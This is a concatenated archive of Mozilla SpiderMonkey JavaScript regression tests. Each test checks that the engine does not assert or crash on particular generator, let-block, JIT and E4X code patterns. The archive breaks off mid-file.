0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: Jason Orendorff */ //----------------------------------------------------------------------------- var BUGNUMBER = 477581; var summary = 'Do not assert: !JSVAL_IS_PRIMITIVE(regs.sp[-2])'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); function g() { yield 2; } var iterables = [[1], [], [], [], g()]; for (let i = 0; i < iterables.length; i++) for each (let j in iterables[i]) ; jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465460-07.js0000664000175000017500000000201112106270663022540 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465460; var summary = 'TM: valueOf in a loop: do not assert'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = actual = 'pass'; jit (true); try { e = ; for (j=0;j<3;++j) { 3 | e; } "PASS"; } catch(ex) { actual = ex + ''; } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465460-12.js0000664000175000017500000000157612106270663022553 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465460; var summary = 'TM: valueOf in a loop: do not assert'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (var j = 0; j < 2; ++j) { if (null > "") { } } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-471373.js0000664000175000017500000000222612106270663022324 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 471373; var summary = 'TM: do not assert: (size_t)(regs.pc - script->code) < script->length'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof window == 'undefined') { expectExitCode(5); } jit(true); function g() { var x = ; for (var b = 0; b < 2; ++b) { yield x; for (var c = 0; c < 10;++c) { x.r = x; } } } for (let y in g()) { } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-433279-03.js0000664000175000017500000000164112106270663022547 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 433279; var summary = 'Do not assert: pn != tc->parseContext->nodeList'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { eval('({a}) = b; with({}) { for(let y in z) { } }'); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465460-08.js0000664000175000017500000000160412106270663022550 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465460; var summary = 'TM: valueOf in a loop: do not assert'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for each (let _ in [{}, {}, null, null, null, null]) { } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465234.js0000664000175000017500000000162012106270663022320 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465234; var summary = '"" <= null'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = true; actual = true; jit(true); for (let j = 0; j < 5; ++j) actual = actual && ("" <= null); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-474935.js0000664000175000017500000000206512106270663022334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 474935; var summary = 'Do not assert: !ti->typeMap.matches(ti_other->typeMap)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); var a = ["", 0, 0, 0, 0, 0, "", "", 0, "", 0, ""]; var i = 0; var g = 0; for each (let e in a) { "" + [e]; if (i == 3 || i == 7) { for each (g in [1]) { } } ++i; } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465460-03.js0000664000175000017500000000156112106270663022545 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465460; var summary = 'TM: valueOf in a loop: do not assert'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit (true); for each (let j in [null, 2, 3]) { } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/browser.js0000664000175000017500000000000012106270663021553 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/regress/regress-478205.js0000664000175000017500000000156012106270663022325 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 478205; var summary = 'Do not assert: p->isQuad()'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for each (let x in ['', '']) { switch([]) {} } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-467495-06.js0000664000175000017500000000206512106270663022562 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 467495; var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f(x) { var y = 1; if (Math) function x() { } if (Math) function y() { } return [x, y]; } var r = f(0); if (typeof(r[0]) != "function") actual += "Bad r[0]"; if (typeof(r[1]) != "function") throw "Bad r[1]"; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465249.js0000664000175000017500000000163412106270663022333 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465249; var summary = 'Do not assert: (m != JSVAL_INT) || isInt32(*vp)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); eval("for (let j = 0; j < 5; ++j) { (0x50505050) + (0x50505050); }"); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-458076.js0000664000175000017500000000163212106270663022331 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 458076; var summary = 'Do not assert with JIT: !lhs->isQuad() && !rhs->isQuad()'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (let j = 0; j < 3; ++j) { true == 0; } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465241.js0000664000175000017500000000162012106270663022316 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465241; var summary = '"0" in [3]'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = true; actual = true; jit(true); for (let j = 0; j < 5; ++j) actual = actual && ("0" in [3]); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-463334-01.js0000664000175000017500000000163612106270663022544 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 463334; var summary = 'TM: Do not crash in isPromoteInt'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); u = 3; for (let i in (function() { for (var j=0;j<4;++j) { void u; yield; } })()); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-466128.js0000664000175000017500000000171012106270663022323 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 466128; var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (let a = 0; a < 3; ++a) { for each (let b in [1, 2, "three", 4, 5, 6, 7, 8]) { } } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-455981-02.js0000664000175000017500000000201212106270663022543 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 455981; var summary = 'Do not assert: entry->localKind == JSLOCAL_ARG'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'SyntaxError: duplicate argument names not allowed in this context'; try { eval('(function ({a: {b: bb, c: cc, d: dd}, m: [x, n, o, p]}, x) {});'); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465460-01.js0000664000175000017500000000166012106270663022543 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465460; var summary = 'TM: valueOf in a loop'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = '11111'; jit(true); (function(d) { for (let j = 0; j < 5; ++j) { actual += ('' + d); } })({valueOf: function()1}); jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465567-02.js0000664000175000017500000000131612106270663022552 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465567; var summary = 'TM: Do not assert: JSVAL_TAG(v) == JSVAL_OBJECT'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); jit(true); try { eval("for each (e in ['', true, 1, true, 1]) { e = null; if (0) { let e; var e; } }"); } catch(ex) { } jit(false); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_8/regress/regress-465239.js0000664000175000017500000000162712106270663022334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465239; var summary = '"1e+81" ^ 3'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = '3,3,3,3,3,'; actual = ''; jit(true); for (let j = 0; j < 5; ++j) actual += ("1e+81" ^ 3) + ','; jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465460-10.js0000664000175000017500000000156512106270663022547 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465460; var summary = 'TM: valueOf in a loop: do not assert'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (let i = 0; i < 2; ++i) { ({}) + 3; } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-472528-02.js0000664000175000017500000000171712106270663022552 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 472528; var summary = 'Do not assert: !fp->blockChain'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); try { for (let i = 0; i < 4; ++i) { for (let j = 0; j < 2; ++j) { } let (x) (function(){}); } } catch(ex) { } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-463783.js0000664000175000017500000000170712106270663022335 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 463783; var summary = 'TM: Do not assert: "need a way to EOT now, since this is trace end": 0'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); var a = [0,1,2,3,4,5]; for (let f in a); [(function(){})() for each (x in a) if (x)]; jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-467495-05.js0000664000175000017500000000163312106270663022561 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 467495; var summary = 'TCF_FUN_CLOSURE_VS_VAR is necessary'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'function x() {}'; function g(x) { if (1) function x() {} return x; } print(actual = g(1) + ''); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-427798.js0000664000175000017500000000255512106270663022345 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 427798; var summary = 'js_PutBlockObject is slow'; var actual = 'Good result'; var expect = 'Good result'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function f(N) { for (var i = 0; i != N; ++i) { var f, g; { let j = i + 1; f = function() { j += 2; return j; } if (f() != i + 3) throw "Bad result"; } if (f() != i + 5) throw "Bad result"; { let j = i + 1, k = i + 2; f = function() { j += 2; k++; return j + k; } if (f() != i + i + 6) throw "Bad result"; } if (f() != i + i + 9) throw "Bad result"; } } try { f(20*1000); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465454.js0000664000175000017500000000174512106270663022334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465454; var summary = 'TM: do not crash with type-unstable loop'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for each (let b in [(-1/0), new String(''), new String(''), null, (-1/0), (-1/0), new String(''), new String(''), null]) '' + b; jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-461930.js0000664000175000017500000000166412106270663022327 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 461930; var summary = 'TM: Do not assert: count == _stats.pages'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); function gen() { for (let j = 0; j < 4; ++j) { yield 1; yield 2; gc(); } } for (let i in gen()) { } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-384412.js0000664000175000017500000001150712106270663022323 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 384412; var summary = 'Exercise frame handling code'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); /* * Generators */ /* Generator yields properly */ f = (function(n) { for (var i = 0; i != n; i++) yield i }); g = f(3); expect(0, g.next()); expect(1, g.next()); expect(2, g.next()); s = "no exception"; try { g.next(); } catch (e) { s = e + ""; } expect("[object StopIteration]", s); /* Generator yields properly in finally */ f = (function(n) { try { for (var i = 0; i != n; i++) yield i; } finally { yield "finally"; } }); g = f(3); expect(0, g.next()); expect(1, g.next()); expect(2, g.next()); expect("finally", g.next()); /* Generator throws when closed with yield in finally */ g = f(3); expect(0, g.next()); s = "no exception"; try { g.close(); } catch (e) { s = e + ""; }; expect("TypeError: yield from closing generator " + f.toSource(), s); /* * XML predicates */ t = ichjoki; /* Predicates, nested predicates and empty lists */ expect(joki, t.eins.(name == "joki")); expect(t.eins, t.eins.(t.eins.(true))); expect(t.(false), t.eins.(false).(true)); /* Predicate with yield throws */ f = (function() { t.eins.(yield true); }); g = f(); s = "no exception"; try { g.next(); } catch (e) { s = e + ""; } expect("no exception", s); /* Function with predicate without return returns void */ f = (function() { t.eins.(true); }); expect(undefined, f()); /* XML filter predicate in finally preserves return value */ f = (function() { try { return "hallo"; } finally { t.eins.(true); } }); expect("hallo", f()); /* * Calls that have been replaced with js_PushFrame() &c... */ f = (function() { return arguments[(arguments.length - 1) / 2]; }); expect(2, f(1, 2, 3)); expect(2, f.call(null, 1, 2, 3)); expect(2, f.apply(null, [1, 2, 3])); expect("a1c", "abc".replace("b", f)); s = "no exception"; try { "abc".replace("b", (function() { throw "hello" })); } catch (e) { s = e + ""; } expect("hello", s); expect(6, [1, 2, 3].reduce(function(a, b) { return a + b; })); s = "no exception"; try { [1, 2, 3].reduce(function(a, b) { if (b == 2) throw "hello"; }); } catch (e) { s = e + ""; } expect("hello", s); /* * __noSuchMethod__ */ o = {}; s = "no exception"; try { o.hello(); } catch (e) { s = e + ""; } expect("TypeError: o.hello is not a function", s); o.__noSuchMethod__ = (function() { return "world"; }); expect("world", o.hello()); o.__noSuchMethod__ = 1; s = "no exception"; try { o.hello(); } catch (e) { s = e + ""; } expect("TypeError: o.hello is not a function", s); o.__noSuchMethod__ = {}; s = "no exception"; try { o.hello(); } catch (e) { s = e + ""; } expect("TypeError: ({}) is not a function", s); s = "no exception"; try { eval("o.hello()"); } catch (e) { s = e + ""; } expect("TypeError: ({}) is not a function", s); s = "no exception"; try { [2, 3, 0].sort({}); } catch (e) { s = e + ""; } expect("TypeError: ({}) is not a function", s); /* * Generator expressions. */ String.prototype.__iterator__ = (function () { /* * NOTE: * Without the "0 + ", the loop over does not terminate because * the iterator gets run on a string with an empty length property. */ for (let i = 0; i != 0 + this.length; i++) yield this[i]; }); expect(["a1", "a2", "a3", "b1", "b2", "b3", "c1", "c2", "c3"] + "", ([a + b for (a in 'abc') for (b in '123')]) + ""); expect("", ([x for (x in )]) + ""); /* * Version switching */ if (typeof version == 'function') { var v = version(150); f = new Function("return version(arguments[0])"); revertVersion(); expect(150, f()); expect(150, eval("f()")); expect(0, eval("f(0); f()")); revertVersion(); } print("End of Tests"); /* * Utility functions */ function expect(a, b) { print('expect: ' + a + ', actual: ' + b); reportCompare(a, b, summary); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-459186.js0000664000175000017500000000157612106270663022343 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 459186; var summary = 'Do not crash in CheckDestructuring'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { for (var [,{y}] = 1 in []) {} } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-471660.js0000664000175000017500000000203212106270663022316 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 471660; var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); y = ; for (var w = 0; w < 5; ++w) { let (y) { do break ; while (true); } for each (let x in [{}, function(){}]) {y} } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-467495-02.js0000664000175000017500000000162112106270663022553 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 467495; var summary = 'Do not crash @ js_Interpret'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { eval("(function(){const y = 1; function x() '' let functional, x})();"); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-459389.js0000664000175000017500000000554112106270663022344 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 459389; var summary = 'Do not crash with JIT'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); printStatus (summary); print('mmmm, food!'); jit(true); var SNI = {}; SNI.MetaData={}; SNI.MetaData.Parameter=function() { var 